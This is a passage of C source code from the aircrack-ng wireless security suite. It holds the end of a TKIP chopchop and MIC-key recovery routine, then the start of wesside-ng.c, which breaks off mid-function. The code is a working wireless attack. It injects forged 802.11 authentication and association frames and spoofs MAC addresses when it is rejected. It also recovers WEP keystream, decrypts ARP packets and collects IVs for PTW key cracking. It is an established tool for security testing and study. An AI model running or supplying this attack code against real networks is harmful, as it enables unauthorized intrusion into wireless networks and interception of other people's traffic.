for (i = 56; i < 63; i++) printf("%02X:", lopt.wpa_sta.ptk[i]);
printf("%02X\n", lopt.wpa_sta.ptk[63]);
}
/* Select ToDS ARP from Client */
PCT;
printf("Waiting for an ARP packet coming from the Client...\n");
opt.f_tods = 1;
opt.f_fromds = 0;
memcpy(opt.f_smac, opt.r_smac, 6);
if (opt.fast == -1) opt.fast = 1;
if (lopt.f_minlen_set == 0)
{
opt.f_minlen = 80;
}
if (lopt.f_maxlen_set == 0)
{
opt.f_maxlen = 80;
}
while (1)
{
if (capture_ask_packet(&caplen, 0) != 0) return (1);
if (is_qos_arp_tkip(h80211, caplen) == 1) break;
}
memcpy(packet2, h80211, caplen);
packet2_len = caplen;
/* Select FromDS ARP to Client */
PCT;
printf("Waiting for an ARP response packet coming from the AP...\n");
opt.f_tods = 0;
opt.f_fromds = 1;
memcpy(opt.f_dmac, opt.r_smac, 6);
memcpy(opt.f_smac, NULL_MAC, 6);
if (lopt.f_minlen_set == 0)
{
opt.f_minlen = 80;
}
if (lopt.f_maxlen_set == 0)
{
opt.f_maxlen = 98;
}
while (1)
{
if (capture_ask_packet(&caplen, 0) != 0) return (1);
if (is_qos_arp_tkip(h80211, caplen) == 1) break;
}
memcpy(packet1, h80211, caplen);
packet1_len = caplen;
PCT;
printf("Got the answer!\n");
PCT;
printf("Waiting 10 seconds to let encrypted EAPOL frames pass without "
"interfering.\n");
read_sleep(dev.fd_in, 10 * 1000000, my_read_sleep_cb);
memcpy(h80211, packet1, packet1_len);
/* Chop the packet down, get a keystream+plaintext, calculate the MIC Key */
if (do_attack_tkipchop(h80211, caplen) == 1) return (1);
/* derive IPs and MACs; relays on QoS, ARP and fromDS packet */
if (lopt.chopped_from_plain != NULL)
{
memcpy(lopt.ip_cli, lopt.chopped_from_plain + 58, 4);
memcpy(lopt.ip_ap, lopt.chopped_from_plain + 48, 4);
memcpy(lopt.r_apmac, lopt.chopped_from_plain + 42, 6);
}
PCT;
printf("AP MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\n",
lopt.r_apmac[0],
lopt.r_apmac[1],
lopt.r_apmac[2],
lopt.r_apmac[3],
lopt.r_apmac[4],
lopt.r_apmac[5],
lopt.ip_ap[0],
lopt.ip_ap[1],
lopt.ip_ap[2],
lopt.ip_ap[3]);
PCT;
printf("Client MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\n",
opt.r_smac[0],
opt.r_smac[1],
opt.r_smac[2],
opt.r_smac[3],
opt.r_smac[4],
opt.r_smac[5],
lopt.ip_cli[0],
lopt.ip_cli[1],
lopt.ip_cli[2],
lopt.ip_cli[3]);
/* Send an ARP Request from the AP to the Client */
build_arp_request(
h80211, &caplen, 0); // writes encrypted tkip arp request into h80211
send_packet(_wi_out, h80211, (size_t) caplen, kNoChange);
PCT;
printf("Sent encrypted tkip ARP request to the client.\n");
/* wait until we can generate a new mic failure */
PCT;
printf("Wait for the mic countermeasure timeout of %i seconds.\n",
lopt.mic_failure_interval);
while (1)
{
gettimeofday(&mic_fail, NULL);
if ((mic_fail.tv_sec - lopt.last_mic_failure.tv_sec) * 1000000UL
+ (mic_fail.tv_usec - lopt.last_mic_failure.tv_usec)
> lopt.mic_failure_interval * 1000000UL)
break;
sleep(1);
}
/* Also chop the answer to get the equivalent MIC Key */
memcpy(h80211, packet2, packet2_len);
do_attack_tkipchop(h80211, caplen);
/* that's all, folks */
return (0);
} |
C | aircrack-ng/src/wesside-ng/wesside-ng.c | /*
* Copyright (C) 2005-2009 Andrea Bittau <a.bittau@cs.ucl.ac.uk>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <assert.h>
#include <zlib.h>
#include <signal.h>
#include <stdarg.h>
#include <err.h>
#include <limits.h>
#include "aircrack-ng/defs.h"
#include "aircrack-ng/support/communications.h"
#include "aircrack-ng/osdep/osdep.h"
#include "aircrack-ng/support/pcap_local.h"
#include "aircrack-ng/ptw/aircrack-ptw-lib.h"
#include "aircrack-ng/third-party/ieee80211.h"
#include "aircrack-ng/third-party/ethernet.h"
#include "aircrack-ng/third-party/if_arp.h"
#include "aircrack-ng/third-party/if_llc.h"
#include "aircrack-ng/crypto/crypto.h"
#include "aircrack-ng/version.h"
#include "aircrack-ng/osdep/byteorder.h"
#define FIND_VICTIM 0
#define FOUND_VICTIM 1
#define SENDING_AUTH 2
#define GOT_AUTH 3
#define SPOOF_MAC 4
#define SENDING_ASSOC 5
#define GOT_ASSOC 6
#define LINKTYPE_IEEE802_11 105
#define TCPDUMP_MAGIC 0xA1B2C3D4
#define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00"
#define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06")
#define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00")
#define PADDED_ARPLEN 54
#define MCAST_PREF "\x01\x00\x5e\x00\x00"
#define WEP_FILE "wep.cap"
#define KEY_FILE "key.log"
#define PRGA_FILE "prga.log"
#define KEYLIMIT 1000000
// unused, but needed for link
struct communication_options opt;
struct devices dev;
extern struct wif *_wi_in, *_wi_out;
struct frag_state
{
struct ieee80211_frame fs_wh;
struct timeval fs_last;
int fs_len;
int fs_waiting_relay;
unsigned char * fs_data;
unsigned char * fs_ptr;
};
struct prga_info
{
unsigned char * pi_prga;
int pi_len;
unsigned char pi_iv[3];
};
static struct wstate
{
int ws_state;
struct timeval ws_arpsend;
char * ws_netip;
int ws_netip_arg;
int ws_max_chan;
unsigned char * ws_rtrmac;
unsigned char ws_mymac[6];
int ws_have_mac;
char ws_myip[16];
unsigned char * ws_victim_mac;
PTW_attackstate * ws_ptw;
unsigned int ws_ack_timeout;
int ws_min_prga;
int ws_thresh_incr;
int ws_crack_dur;
int ws_wep_thresh;
int ws_crack_pid;
struct timeval ws_crack_start;
struct timeval ws_real_start;
struct timeval ws_lasthop;
struct timeval ws_last_wcount;
struct wif * ws_wi;
unsigned int ws_last_wep_count;
int ws_ignore_ack;
/* tx_state */
int ws_waiting_ack;
struct timeval ws_tsent;
int ws_retries;
unsigned int ws_psent;
/* chan_info */
int ws_chan;
/* victim_info */
char * ws_ssid;
int ws_apchan;
unsigned char ws_bss[6];
struct frag_state ws_fs;
struct prga_info ws_pi;
/* decrypt_state */
unsigned char * ws_cipher;
int ws_clen;
struct prga_info ws_dpi;
struct frag_state ws_dfs;
/* wep_log */
unsigned int ws_packets;
unsigned int ws_rate;
int ws_fd;
unsigned char ws_iv[3];
} _wstate;
#define KEYHSBYTES PTW_KEYHSBYTES
static int PTW_DEFAULTBF[PTW_KEYHSBYTES]
= {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
static void cleanup(int x);
void show_wep_stats(int B,
int force,
PTW_tableentry table[PTW_KEYHSBYTES][PTW_n],
int choices[KEYHSBYTES],
int depth[KEYHSBYTES],
int prod);
/* display the current votes */
void show_wep_stats(int B,
int force,
PTW_tableentry table[PTW_KEYHSBYTES][PTW_n],
int choices[KEYHSBYTES],
int depth[KEYHSBYTES],
int prod)
{
UNUSED_PARAM(B);
UNUSED_PARAM(force);
UNUSED_PARAM(table);
UNUSED_PARAM(choices);
UNUSED_PARAM(depth);
UNUSED_PARAM(prod);
}
static inline struct wstate * get_ws(void) { return &_wstate; }
static void time_print(char * fmt, ...)
{
REQUIRE(fmt != NULL);
va_list ap;
char lame[1024];
time_t tt;
struct tm * t;
va_start(ap, fmt);
vsnprintf(lame, sizeof(lame), fmt, ap);
va_end(ap);
tt = time(NULL);
if (tt == (time_t) -1)
{
perror("time()");
exit(EXIT_FAILURE);
}
t = localtime(&tt);
if (!t)
{
perror("localtime()");
exit(EXIT_FAILURE);
}
printf("[%.2d:%.2d:%.2d] %s", t->tm_hour, t->tm_min, t->tm_sec, lame);
}
static void check_key(struct wstate * ws)
{
REQUIRE(ws != NULL);
char buf[1024];
int fd;
int rd;
struct timeval now;
fd = open(KEY_FILE, O_RDONLY);
if (fd == -1)
{
return;
}
rd = read(fd, buf, sizeof(buf) - 1);
if (rd == -1)
{
perror("read()");
exit(EXIT_FAILURE);
}
buf[rd] = 0;
close(fd);
printf("\n\n");
time_print("KEY=(%s)\n", buf);
if (gettimeofday(&now, NULL) == -1)
{
perror("gettimeofday()");
exit(EXIT_FAILURE);
}
printf("Owned in %.02f minutes\n",
((double) now.tv_sec - ws->ws_real_start.tv_sec) / 60.0);
cleanup(0);
exit(EXIT_SUCCESS);
}
static void kill_crack(struct wstate * ws)
{
REQUIRE(ws != NULL);
if (ws->ws_crack_pid == 0) return;
printf("\n");
time_print("Stopping crack PID=%d\n", ws->ws_crack_pid);
// XXX doesn't return -1 for some reason! [maybe on my box... so it
// might be buggy on other boxes...]
if (kill(ws->ws_crack_pid, SIGINT) == -1)
{
#if 0
perror("kill()");
exit(1);
#endif
}
ws->ws_crack_pid = 0;
check_key(ws);
}
static void cleanup(int x)
{
UNUSED_PARAM(x);
struct wstate * ws = get_ws();
ALLEGE(ws != NULL); //-V547
printf("\n");
time_print("Dying...\n");
if (ws->ws_fd) close(ws->ws_fd);
kill_crack(ws);
if (ws->ws_wi) wi_close(ws->ws_wi);
if (ws->ws_ssid) free(ws->ws_ssid);
exit(EXIT_SUCCESS);
}
static void set_chan(struct wstate * ws, int c)
{
REQUIRE(ws != NULL);
if (c == ws->ws_chan) return;
if (wi_set_channel(ws->ws_wi, c)) err(1, "wi_set_channel()");
ws->ws_chan = c;
}
static void hexdump(unsigned char * ptr, int len)
{
REQUIRE(ptr != NULL);
REQUIRE(len >= 0);
while (len > 0)
{
printf("%.2X ", *ptr);
ptr++;
len--;
}
printf("\n");
}
static void inject(struct wif * wi, void * buf, int len)
{
int rc = wi_write(wi, NULL, LINKTYPE_IEEE802_11, buf, len, NULL);
if (rc == -1)
{
perror("writev()");
exit(EXIT_FAILURE);
}
if (rc != len)
{
time_print("ERROR: Packet length changed while transmitting (%d "
"instead of %d).\n",
rc,
len);
exit(EXIT_FAILURE);
}
}
static void send_frame(struct wstate * ws, unsigned char * buf, int len)
{
REQUIRE(ws != NULL);
static unsigned char * lame = NULL;
static int lamelen = 0;
static int lastlen = 0;
// retransmit!
if (len == -1)
{
ws->ws_retries++;
if (ws->ws_ignore_ack && ws->ws_retries >= ws->ws_ignore_ack)
{
ws->ws_waiting_ack = 0;
return;
}
if (ws->ws_retries > 10)
{
time_print("ERROR Max retransmits for (%d bytes):\n", lastlen);
hexdump(&lame[0], lastlen);
}
len = lastlen;
}
// normal tx
else
{
ALLEGE(ws->ws_waiting_ack == 0);
if (len > lamelen)
{
if (lame) free(lame);
lame = (unsigned char *) malloc(len);
if (!lame)
{
perror("malloc()");
exit(EXIT_FAILURE);
}
lamelen = len;
}
REQUIRE(lame != NULL);
memcpy(lame, buf, len);
ws->ws_retries = 0;
lastlen = len;
}
inject(ws->ws_wi, lame, len);
if (ws->ws_ignore_ack != 1) ws->ws_waiting_ack = 1;
ws->ws_psent++;
if (gettimeofday(&ws->ws_tsent, NULL) == -1)
{
perror("gettimeofday()");
exit(EXIT_FAILURE);
}
}
static void fill_basic(struct wstate * ws, struct ieee80211_frame * wh)
{
REQUIRE(ws != NULL);
REQUIRE(wh != NULL);
unsigned short * sp;
memcpy(wh->i_addr1, ws->ws_bss, 6);
memcpy(wh->i_addr2, ws->ws_mymac, 6);
memcpy(wh->i_addr3, ws->ws_bss, 6);
sp = (unsigned short *) wh->i_seq;
*sp = fnseq(0, ws->ws_psent);
sp = (unsigned short *) wh->i_dur;
*sp = htole16(32767);
}
static void send_assoc(struct wstate * ws)
{
REQUIRE(ws != NULL);
unsigned char buf[sizeof(struct ieee80211_frame) * 32];
struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
unsigned char * body;
int ssidlen;
memset(buf, 0, sizeof(buf));
fill_basic(ws, wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
body = (unsigned char *) wh + sizeof(*wh);
*body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
// cap + interval
body += 2 + 2;
// ssid
*body++ = 0;
ssidlen = strlen(ws->ws_ssid);
*body++ = ssidlen;
memcpy(body, ws->ws_ssid, ssidlen);
body += ssidlen;
// rates
*body++ = IEEE80211_ELEMID_RATES;
*body++ = 8;
*body++ = 2 | 0x80;
*body++ = 4 | 0x80;
*body++ = 11 | 0x80;
*body++ = 22 | 0x80;
*body++ = 12 | 0x80;
*body++ = 24 | 0x80;
*body++ = 48 | 0x80;
*body++ = 72;
/* x-rates */
*body++ = IEEE80211_ELEMID_XRATES;
*body++ = 4;
*body++ = 48;
*body++ = 72;
*body++ = 96;
*body++ = 108;
send_frame(ws, buf, (unsigned long) body - (unsigned long) buf);
}
static void wepify(struct wstate * ws, unsigned char * body, int dlen)
{
REQUIRE(ws != NULL);
REQUIRE(dlen + 4 <= ws->ws_pi.pi_len);
REQUIRE(body != NULL);
uLong crc;
unsigned int * pcrc;
int i;
// iv
memcpy(body, ws->ws_pi.pi_iv, 3);
body += 3;
*body++ = 0;
// crc
crc = crc32(0L, Z_NULL, 0);
crc = crc32(crc, body, dlen);
pcrc = (unsigned int *) (body + dlen);
*pcrc = htole32(crc);
for (i = 0; i < dlen + 4; i++) *body++ ^= ws->ws_pi.pi_prga[i];
}
static void send_auth(struct wstate * ws)
{
REQUIRE(ws != NULL);
unsigned char buf[sizeof(struct ieee80211_frame) * 16]
__attribute__((aligned(8)));
struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
unsigned short * n;
memset(buf, 0, sizeof(buf));
fill_basic(ws, wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
/* transaction number */
n = (unsigned short *) ((unsigned char *) wh + sizeof(*wh)); //-V1032
n++;
*n = htole16(1);
send_frame(ws, buf, sizeof(*wh) + 2 + 2 + 2);
}
static int
get_victim_ssid(struct wstate * ws, struct ieee80211_frame * wh, int len)
{
REQUIRE(wh != NULL);
unsigned char * ptr;
int x;
int gots = 0, gotc = 0;
if (len <= (int) sizeof(*wh))
{
time_print("Warning: short packet in get_victim_ssid()\n");
return (0);
}
ptr = (unsigned char *) wh + sizeof(*wh);
len -= sizeof(*wh);
// only wep baby
if (!(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY))
{
return (0);
}
REQUIRE(ws != NULL);
// we want a specific victim
if (ws->ws_victim_mac)
{
if (memcmp(wh->i_addr3, ws->ws_victim_mac, 6) != 0) return (0);
}
// beacon header
x = 8 + 2 + 2;
if (len <= x)
{
time_print("Warning short.\n");
return (0);
}
ptr += x;
len -= x;
// SSID
while (len > 2)
{
int eid, elen;
eid = *ptr;
ptr++;
elen = *ptr;
ptr++;
len -= 2;
if (len < elen)
{
time_print("Warning short....\n");
return (0);
}
// ssid
if (eid == 0)
{
if (ws->ws_ssid) free(ws->ws_ssid);
ws->ws_ssid = (char *) malloc(elen + 1);
if (!ws->ws_ssid)
{
perror("malloc()");
exit(EXIT_FAILURE);
}
memcpy(ws->ws_ssid, ptr, elen);
ws->ws_ssid[elen] = 0;
gots = 1;
}
// chan
else if (eid == 3)
{
if (elen != 1)
{
time_print("Warning len of chan not 1\n");
return (0);
}
ws->ws_apchan = *ptr;
gotc = 1;
}
ptr += elen;
len -= elen;
}
if (gots && gotc)
{
memcpy(ws->ws_bss, wh->i_addr3, 6);
set_chan(ws, ws->ws_apchan);
ws->ws_state = FOUND_VICTIM;
char * mac = mac2string(ws->ws_bss);
ALLEGE(mac != NULL);
time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
ws->ws_ssid,
mac,
ws->ws_apchan);
free(mac);
return (1);
}
return (0);
}
static void send_ack(struct wstate * ws)
{
UNUSED_PARAM(ws);
/* firmware acks */
}
static void do_llc(unsigned char * buf, unsigned short type)
{
REQUIRE(buf != NULL);
struct llc * h = (struct llc *) buf;
memset(h, 0, sizeof(*h));
h->llc_dsap = LLC_SNAP_LSAP;
h->llc_ssap = LLC_SNAP_LSAP;
h->llc_un.type_snap.control = 3;
h->llc_un.type_snap.ether_type = htons(type);
}
static void set_prga(struct wstate * ws,
unsigned char * iv,
unsigned char * cipher,
unsigned char * clear,
int len)
{
REQUIRE(ws != NULL);
int i;
int fd;
if (ws->ws_pi.pi_len != 0) free(ws->ws_pi.pi_prga);
ws->ws_pi.pi_prga = (unsigned char *) malloc(len);
if (!ws->ws_pi.pi_prga)
{
perror("malloc()");
exit(EXIT_FAILURE);
}
ws->ws_pi.pi_len = len;
memcpy(ws->ws_pi.pi_iv, iv, 3);
for (i = 0; i < len; i++)
{
ws->ws_pi.pi_prga[i] = (cipher ? (clear[i] ^ cipher[i]) : clear[i]);
}
time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
ws->ws_pi.pi_len,
ws->ws_pi.pi_iv[0],
ws->ws_pi.pi_iv[1],
ws->ws_pi.pi_iv[2]);
hexdump(ws->ws_pi.pi_prga, ws->ws_pi.pi_len);
if (!cipher) return;
fd = open(
PRGA_FILE, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
if (fd == -1)
{
perror("open()");
exit(EXIT_FAILURE);
}
i = write(fd, ws->ws_pi.pi_iv, 3);
if (i == -1)
{
perror("write()");
exit(EXIT_FAILURE);
}
if (i != 3)
{
printf("Wrote %d out of %d\n", i, 3);
exit(EXIT_FAILURE);
}
i = write(fd, ws->ws_pi.pi_prga, ws->ws_pi.pi_len);
if (i == -1)
{
perror("write()");
exit(EXIT_FAILURE);
}
if (i != ws->ws_pi.pi_len)
{
printf("Wrote %d out of %d\n", i, ws->ws_pi.pi_len);
exit(EXIT_FAILURE);
}
close(fd);
}
static void proc_ctl(struct wstate * ws, int stype)
{
if (stype == IEEE80211_FC0_SUBTYPE_ACK)
{
REQUIRE(ws != NULL);
ws->ws_waiting_ack = 0;
return;
}
else if (stype == IEEE80211_FC0_SUBTYPE_RTS)
{
return;
}
else if (stype == IEEE80211_FC0_SUBTYPE_CTS)
{
return;
}
time_print("got CTL=%x\n", stype);
}
static void proc_mgt(struct wstate * ws, int stype, unsigned char * body)
{
unsigned short * rc;
unsigned short * sc;
unsigned int aid;
if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH)
{
REQUIRE(ws != NULL);
REQUIRE(body != NULL);
rc = (unsigned short *) body;
printf("\n");
time_print("Got deauth=%u\n", le16toh(*rc));
ws->ws_state = FOUND_VICTIM;
return;
}
else if (stype == IEEE80211_FC0_SUBTYPE_AUTH)
{
REQUIRE(ws != NULL);
REQUIRE(body != NULL);
sc = (unsigned short *) body;
if (ws->ws_state != SENDING_AUTH) /* We didn't ask for it. */
return;
if (le16toh(*sc) != 0)
{
time_print("Warning got auth algo=%x\n", le16toh(*sc));
exit(EXIT_FAILURE);
return;
}
sc++;
if (le16toh(*sc) != 2)
{
time_print("Warning got auth seq=%x\n", le16toh(*sc));
return;
}
sc++;
if (le16toh(*sc) == 1)
{
time_print("Auth rejected. Spoofin mac.\n");
ws->ws_state = SPOOF_MAC;
return;
}
else if (le16toh(*sc) == 0)
{
time_print("Authenticated\n");
ws->ws_state = GOT_AUTH;
return;
}
else
{
time_print("Got auth %x\n", *sc);
exit(EXIT_FAILURE);
}
}
else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP)
{
REQUIRE(ws != NULL);
REQUIRE(body != NULL);
sc = (unsigned short *) body;
sc++; // cap
if (ws->ws_state != SENDING_ASSOC) /* We didn't ask for it. */
return;
if (le16toh(*sc) == 0)
{
sc++;
aid = le16toh(*sc) & 0x3FFF;
time_print("Associated (ID=%x)\n", aid);
ws->ws_state = GOT_ASSOC;
return;
}
else if (le16toh(*sc) == 12 || le16toh(*sc) == 1)
{
time_print("Assoc rejected..."
" trying to spoof mac.\n");
ws->ws_state = SPOOF_MAC;
return;
}
else
{
time_print("got assoc %d\n", le16toh(*sc));
exit(EXIT_FAILURE);
}
}
else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP)
{
return;
}
time_print("\nGOT MAN=%x\n", stype);
exit(EXIT_FAILURE);
}
static void proc_data(struct wstate * ws, struct ieee80211_frame * wh, int len)
{
REQUIRE(wh != NULL);
int dlen;
dlen = len - sizeof(*wh) - 4 - 4;
if (!(wh->i_fc[1] & IEEE80211_FC1_WEP))
{
char * mac = mac2string(wh->i_addr2);
ALLEGE(mac != NULL);
time_print("WARNING: Got NON wep packet from %s dlen %d\n", mac, dlen);
free(mac);
return;
}
ALLEGE(wh->i_fc[1] & IEEE80211_FC1_WEP);
ALLEGE(ws != NULL);
if ((dlen == 36 || dlen == PADDED_ARPLEN)
&& ws->ws_rtrmac == (unsigned char *) 1)
{
ws->ws_rtrmac = (unsigned char *) malloc(6);
if (!ws->ws_rtrmac)
{
perror("malloc()");
exit(EXIT_FAILURE);
}
memcpy(ws->ws_rtrmac, wh->i_addr3, 6);
char * mac = mac2string(ws->ws_rtrmac);
ALLEGE(mac != NULL);
time_print("Got arp reply from (%s)\n", mac);
free(mac);
}
}
static void
stuff_for_us(struct wstate * ws, struct ieee80211_frame * wh, int len)
{
REQUIRE(wh != NULL);
int type, stype;
unsigned char * body = (unsigned char *) (wh + 1);
type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
// CTL
if (type == IEEE80211_FC0_TYPE_CTL)
{
proc_ctl(ws, stype);
return;
}
// MGM
if (type == IEEE80211_FC0_TYPE_MGT)
{
proc_mgt(ws, stype, body);
return;
}
/* Data */
if (type == IEEE80211_FC0_TYPE_DATA && stype == IEEE80211_FC0_SUBTYPE_DATA)
{
proc_data(ws, wh, len);
return;
}
}
static void
decrypt_arpreq(struct wstate * ws, struct ieee80211_frame * wh, int rd)
{
REQUIRE(wh != NULL);
unsigned char * body;
int bodylen;
unsigned char clear[sizeof(struct arphdr) * 32] = {0};
unsigned char * ptr;
struct arphdr * h;
int i;
body = (unsigned char *) wh + sizeof(*wh);
ptr = clear;
// calculate clear-text
memcpy(ptr, S_LLC_SNAP_ARP, sizeof(S_LLC_SNAP_ARP) - 1);
ptr += sizeof(S_LLC_SNAP_ARP) - 1;
h = (struct arphdr *) ptr; //-V1032
h->ar_hrd = htons(ARPHRD_ETHER);
h->ar_pro = htons(ETHERTYPE_IP);
h->ar_hln = 6;
h->ar_pln = 4;
h->ar_op = htons(ARPOP_REQUEST);
ptr += sizeof(*h);
memcpy(ptr, wh->i_addr3, 6);
REQUIRE(ws != NULL);
bodylen = rd - sizeof(*wh) - 4 - 4;
ws->ws_clen = bodylen;
ws->ws_cipher = (unsigned char *) malloc(ws->ws_clen);
if (!ws->ws_cipher)
{
perror("malloc()");
exit(EXIT_FAILURE);
}
ws->ws_dpi.pi_prga = (unsigned char *) malloc(ws->ws_clen);
if (!ws->ws_dpi.pi_prga)
{
perror("malloc()");
exit(EXIT_FAILURE);
}
memcpy(ws->ws_cipher, &body[4], ws->ws_clen);
memcpy(ws->ws_dpi.pi_iv, body, 3);
memset(ws->ws_dpi.pi_prga, 0, ws->ws_clen);
for (i = 0; i < (8 + 8 + 6); i++)
{
ws->ws_dpi.pi_prga[i] = ws->ws_cipher[i] ^ clear[i];
}
ws->ws_dpi.pi_len = i;
char * mac = mac2string(wh->i_addr3);
ALLEGE(mac != NULL);
time_print("Got ARP request from (%s)\n", mac);
free(mac);
}
static void log_wep(struct wstate * ws, struct ieee80211_frame * wh, int len)
{
REQUIRE(wh != NULL);
int rd;
struct pcap_pkthdr pkh;
struct timeval tv;
unsigned char * body = (unsigned char *) (wh + 1);
memset(&pkh, 0, sizeof(pkh));
pkh.caplen = pkh.len = len;
if (gettimeofday(&tv, NULL) == -1) err(1, "gettimeofday()");
pkh.tv_sec = tv.tv_sec;
pkh.tv_usec = tv.tv_usec;
if (write(ws->ws_fd, &pkh, sizeof(pkh)) != sizeof(pkh)) err(1, "write()");
rd = write(ws->ws_fd, wh, len);
if (rd == -1)
{
perror("write()");
exit(EXIT_FAILURE);
}
if (rd != len)
{
time_print("short write %d out of %d\n", rd, len);
exit(EXIT_FAILURE);
}
REQUIRE(ws != NULL);
memcpy(ws->ws_iv, body, 3);
ws->ws_packets++;
}
static void
add_keystream(struct wstate * ws, struct ieee80211_frame * wh, int rd)
{
REQUIRE(wh != NULL);
unsigned char clear[1024];
int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
int clearsize;
unsigned char * body = (unsigned char *) (wh + 1);
int i, weight[16], k, j;
k = known_clear(clear, &clearsize, weight, (void *) wh, dlen);
if (clearsize < 16) return;
for (j = 0; j < k; j++)
{
for (i = 0; i < clearsize; i++) clear[i + (32 * j)] ^= body[4 + i];
}
REQUIRE(ws != NULL);
PTW_addsession(ws->ws_ptw, body, clear, weight, k);
}
static void got_ip(struct wstate * ws)
{
REQUIRE(ws != NULL);
unsigned char ip[4] __attribute__((aligned(8)));
int i;
struct in_addr * in = (struct in_addr *) ip; //-V1032
char * ptr;
for (i = 0; i < 4; i++)
ip[i]
= ws->ws_cipher[8 + 8 + 6 + i] ^ ws->ws_dpi.pi_prga[8 + 8 + 6 + i];
INVARIANT(ws->ws_netip == NULL);
ws->ws_netip = malloc(16);
if (!ws->ws_netip)
{
perror("malloc()");
exit(EXIT_FAILURE);
}
memset(ws->ws_netip, 0, 16);
char * netip = inet_ntoa(*in);
strlcpy(ws->ws_netip, netip ? netip : "", 16);
time_print("Got IP=(%s)\n", ws->ws_netip);
memset(ws->ws_myip, 0, sizeof(ws->ws_myip));
strlcpy(ws->ws_myip, ws->ws_netip, sizeof(ws->ws_myip));
ptr = strchr(ws->ws_myip, '.');
ALLEGE(ptr);
ptr = strchr(ptr + 1, '.');
ALLEGE(ptr);
ptr = strchr(ptr + 1, '.');
ALLEGE(ptr);
strncpy(ptr + 1, "123", 4);
time_print("My IP=(%s)\n", ws->ws_myip);
/* clear decrypt state */
free(ws->ws_dpi.pi_prga);
free(ws->ws_cipher);
ws->ws_cipher = 0;
ws->ws_clen = 0;
memset(&ws->ws_dpi, 0, sizeof(ws->ws_dpi));
memset(&ws->ws_dfs, 0, sizeof(ws->ws_dfs));
}
static void check_relay(struct wstate * ws,
struct ieee80211_frame * wh,
unsigned char * body,
int dlen)
{
REQUIRE(ws != NULL);
REQUIRE(wh != NULL);
// looks like it...
if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
&& (memcmp(wh->i_addr3, ws->ws_mymac, 6) == 0)
&& (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0)
&& dlen == ws->ws_fs.fs_len)
{
REQUIRE(body != NULL);
set_prga(ws, body, &body[4], ws->ws_fs.fs_data, dlen);
free(ws->ws_fs.fs_data);
ws->ws_fs.fs_data = 0;
ws->ws_fs.fs_waiting_relay = 0;
}
// see if we get the multicast stuff of when decrypting
if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
&& (memcmp(wh->i_addr3, ws->ws_mymac, 6) == 0)
&& (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) && dlen == 36)
{
REQUIRE(ws->ws_cipher != NULL);
unsigned char pr = wh->i_addr1[5];
printf("\n");
time_print("Got clear-text byte: %d\n",
ws->ws_cipher[ws->ws_dpi.pi_len - 1] ^ pr);
ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len - 1] = pr;
ws->ws_dpi.pi_len++;
ws->ws_dfs.fs_waiting_relay = 1;
// ok we got the ip...
if (ws->ws_dpi.pi_len == 26 + 1)
{
got_ip(ws);
}
}
}
static void got_wep(struct wstate * ws, struct ieee80211_frame * wh, int rd)
{
REQUIRE(ws != NULL);
REQUIRE(wh != NULL);
int bodylen;
int dlen;
unsigned char clear[1024];
int clearsize;
unsigned char * body;
bodylen = rd - sizeof(struct ieee80211_frame);
dlen = bodylen - 4 - 4;
body = (unsigned char *) wh + sizeof(*wh);
// log it if its stuff not from us...
if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
|| ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
&& memcmp(wh->i_addr2, ws->ws_mymac, 6) != 0))
{
if (body[3] != 0)
{
time_print("Key index=%x!!\n", body[3]);
exit(EXIT_FAILURE);
}
log_wep(ws, wh, rd);
add_keystream(ws, wh, rd);
}
// look for arp-request packets... so we can decrypt em
